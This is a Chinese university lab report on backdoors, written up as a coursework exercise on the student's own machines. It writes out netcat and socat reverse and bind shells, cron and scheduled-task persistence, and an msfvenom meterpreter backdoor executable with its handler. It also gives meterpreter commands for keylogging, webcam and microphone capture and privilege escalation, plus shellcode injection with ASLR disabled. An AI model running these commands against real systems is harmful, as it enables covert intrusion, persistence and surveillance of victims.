2019-2020-2 20175315陈煜扬《网络对抗技术》Exp2 后门原理与实践

2019-2020-2 20175315陈煜扬《网络对抗技术》Exp2 后门原理与实践

1 实践说明

1.1实践内容

(1)使用netcat获取主机操作Shell，cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

 (5)可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell，加分内容一并写入本实验报告

1.2基础知识

• 后门概念

  • 后门就是不经过正常认证流程而访问系统的通道

• 哪里有后门

  • 编译器留后门

  • 操作系统留后门

  • 最常见的当然还是应用程序中留后门

  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序

2 实践步骤

2.1 使用netcat获取主机操作Shell，cron启动

2.1.1 Windows获得Linux Shell

windows中通过win+R——cmd——ipconfig查看IP地址

关闭防火墙，windows使用ncat.exe -l -p 5315打开监听，并检查windows和linux的连通性。

注意：这里一定要关闭防火墙，不然会影响后面的步骤

linux使用nc 192.168.0.103 5315 -e /bin/sh反弹连接windows

windows下获得一个linux shell，可运行任何指令，如ls

2.1.2 Linux获得Windows Shell

linux使用ifconfig查看IP地址

这里遇到了一点问题，直接ifconfig指令并没有得到我们想要的结果，后来通过https://www.jianshu.com/p/5e3500243125找到了解决方法。

linux使用nc -l -p 5315打开监听

windows使用ncat.exe -e cmd.exe 192.168.218.128 5315反弹连接linux

linux下看到windows的命令提示

2.1.3 cron启动

linux使用crontab -e并选择3进入编辑模式，在最后一行添加40 * * * * /bin/netcat 192.168.0.103 5315 -e /bin/sh，表示每个小时的第40分钟执行后面的那条指令

linux在40分钟时连接windows，这是一个反弹连接式后门，监听的windows连接后可获得shell

2.1.4 nc传输数据

windows使用ncat.exe -l 5315监听端口，linux使用nc 192.168.0.103 5315反弹连接到windows的端口，连接建立成功后双方可互传输数据

2.2 使用socat获取主机操作Shell, 任务计划启动

2.2.1 socat

windows打开计算机管理，在任务计划程序中创建任务

新建操作，并在程序或脚本中选择socat.exe路径，添加参数一栏填写tcp-listen:5334 exec:cmd.exe,pty,stderr

新建触发器，选择时间。到达时间后会自行触发

linux使用socat - tcp:192.168.1.4:5334完成连接，获得windows shell

2.3 使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

2.3.1 MSF meterpreter

linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor5315.exe生成后门程序

windows使用ncat.exe -lv 5315 > backdoor5315.exe，查看连接状态

输入msfconsole后进行如下操作：
（1）use exploit/multi/handler，设置payload
（2）set payload windows/meterpreter/reverse_tcp
（3）set LHOST 192.168.218.128，设置ip
（4）set LPORT 5315，设置端口
（5）show options，查看选项
（6）exploit，可以看到已经获取到了Windows的shell，可以输入dir来验证

linux使用exploit开始监听，并在windows中运行后门程序，linux成功获得windows的shell

2.4 使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

2.4.1 获取录音权限

linux使用record_mic可以截取一段音频

linux使用webcam_snap可以获取摄像头内容

linux使用keyscan_start可以记录下击键的过程，使用keyscan_dump可以读取击键记录

linux使用screenshot可以进行截屏

linux使用getuid可以查看当前用户，使用getsystem可以进行提权操作

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell

2.5.1 shellcode

在[Exploit DataBase]（https://www.exploit-db.com/shellcodes）中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码

注入Shellcode

（1）在第一个终端里关闭地址随机化，输入echo "0" > /proc/sys/kernel/randomize_va_space
（2）在第一个终端中运行pwn1之后不回车

（3）在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号2394

（4）用GDB追踪该进程，找到栈顶（esp）中存放的地址为0xffffd37c，计算出shellcode地址就是 0xffffd37c+4，即0xffffd380。
①在第二个终端启动gdb。
②输入attach 2394启动gdb调试这个进程。
③输入disassemble foo查看到ret的地址为0x080484ae。
④输入break *0x080484ae在0x080484ae处设置断点。
⑤在之前的终端中按一下回车，然后在调试的终端中输入c继续运行。
⑥输入info r esp查看栈顶指针所在的位置，并查看改地址存放的数据：

 （5）在第一个终端中中断pwn1运行
（6）在第二个终端中注入input_shellcode：

在第一个终端中打开msf（msfconsole）控制台，依次输入：

（1）use exploit/multi/handler，设置payload
（2）set payload linux/x86/shell_reverse_tcp
（3）set LHOST 127.0.0.1，设置ip
（4）set LPORT 4444，设置端口
（5）show options，查看选项
（6）exploit ，设置完成，开始监听

运行shellcode
在第二个终端输入(cat input_shellcode;cat) | ./pwn1运行pwn1文件，在第一个终端中可以看到已经成功调取了shell

3 问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式？

从非正规途径下载了某个程序，U盘携带，恶意网站等等

(2)例举你知道的后门如何启动起来(win及linux)的方式？

linux：定时启动   windows：修改注册表

(3)Meterpreter有哪些给你印象深刻的功能？

可以读取麦克风 摄像头等，当时拍下了我在镜头前的照片真的挺让人惊讶的。

(4)如何发现自己有系统有没有被安装后门？

经常杀毒，使用杀毒软件，并查看注册表和任务管理器，看看有没有异常进程。

4 实验中遇到的问题

（1）Linux中输入ifconfig显示未找到命令

https://www.jianshu.com/p/5e3500243125通过该网站解决了问题。

（2）在加分任务的时候发现最后监听不到。

自己操作不规范，导致当时的地址找错了，本来是ffffd37c,之前找错了一直以为是ffffd390？

5 实验心得与体会

本次实验较为简单，问题也不多，这些通过学长学姐的博客以及询问同学都能够得到解决。但是本次实验却非常有意思而且带给我的感触也是非常深刻的。让我感受到了后门的隐患以及危害，获得信息的手段多样而且对于那些攻击者来说可以说是轻而易举。所以电脑管家和杀毒软件还是非常必要的，虽说不能百分百保证安全，但就像人的免疫系统一样不可缺少！